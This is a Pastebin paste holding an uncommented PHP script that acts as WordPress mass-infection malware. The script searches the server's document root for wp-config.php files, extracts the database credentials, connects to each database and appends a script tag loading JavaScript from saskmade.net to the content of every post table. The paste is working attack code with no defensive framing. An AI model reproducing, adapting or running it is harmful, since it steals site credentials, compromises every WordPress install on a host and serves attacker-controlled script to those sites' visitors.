Advertisement
Guest User

Untitled

a guest
Nov 7th, 2018
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.23 KB | None | 0 0
  1. <?php echo ":#009009#:";
  2. $file_to_search = "wp-config.php";
  3. $dop = $_GET['ptz'];
  4.  
  5. @search_file($_SERVER['DOCUMENT_ROOT'].$dop,$file_to_search);
  6.  
  7. function search_file($dir,$file_to_search){
  8.  
  9. $files = scandir($dir);
  10.  
  11. foreach($files as $key => $value){
  12.  
  13. $path = realpath($dir.DIRECTORY_SEPARATOR.$value);
  14.  
  15. if(!is_dir($path)) {
  16. if (strpos($value,$file_to_search) !== false) {
  17.  
  18. show_sitenames($path);
  19.  
  20.  
  21.  
  22. }
  23.  
  24. } else if($value != "." && $value != "..") {
  25.  
  26. search_file($path, $file_to_search);
  27.  
  28. }
  29. }
  30. }
  31.  
  32. echo ":#009009#:";
  33.  
  34.  
  35.  
  36. function show_sitenames($file){
  37. $content = @file_get_contents($file);
  38. if(strpos($content, "DB_NAME") !== false) {
  39.  
  40.  
  41. $db = get_var_reg("'DB_NAME'.*?,.*?['|\"](.*?)['|\"]",$content);
  42. $host = get_var_reg("'DB_HOST'.*?,.*?['|\"](.*?)['|\"]",$content);
  43. $user = get_var_reg("'DB_USER'.*?,.*?['|\"](.*?)['|\"]",$content);
  44. $pass = get_var_reg("'DB_PASSWORD'.*?,.*?['|\"](.*?)['|\"]",$content);
  45.  
  46.  
  47. // Create connection
  48. $conn = new mysqli($host, $user, $pass);
  49.  
  50. // Check connection
  51. if ($conn->connect_error) {
  52. echo $conn->connect_error;
  53. } else {
  54.  
  55.  
  56. $q = "SELECT TABLE_SCHEMA,TABLE_NAME FROM information_schema.TABLES WHERE `TABLE_NAME` LIKE '%post%'";
  57. $result = $conn->query($q);
  58. if ($result->num_rows > 0) {
  59. while($row = $result->fetch_assoc()) {
  60. $q2 = "SELECT post_content FROM " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]." LIMIT 1 ";
  61. $result2 = $conn->query($q2);
  62. if ($result2->num_rows > 0) {
  63. while($row2 = $result2->fetch_assoc()) {
  64. $val = $row2['post_content'];
  65.  
  66. if(strpos($val, "saskmade") === false){
  67. echo "nothing:".$file."\n";
  68.  
  69. $q3 = "UPDATE " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]." set post_content = CONCAT(post_content,\"<script src='https://saskmade.net/head.js?ver=2.0.0' type='text/javascript'></script>\") WHERE post_content NOT LIKE '%saskmade%'";
  70. $conn->query($q3);
  71.  
  72. } else {
  73. echo "#already exist#:".$file."\n";
  74. }
  75.  
  76. }
  77. } else {
  78. }
  79. }
  80. } else {
  81. }
  82. $conn->close();
  83. }
  84. }
  85. }
  86.  
  87. function get_var_reg($pat,$text) {
  88.  
  89. if ($c = preg_match_all ("/".$pat."/is", $text, $matches))
  90. {
  91. return $matches[1][0];
  92. }
  93.  
  94. return "";
  95. }
  96.  
  97.  
  98. exit();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement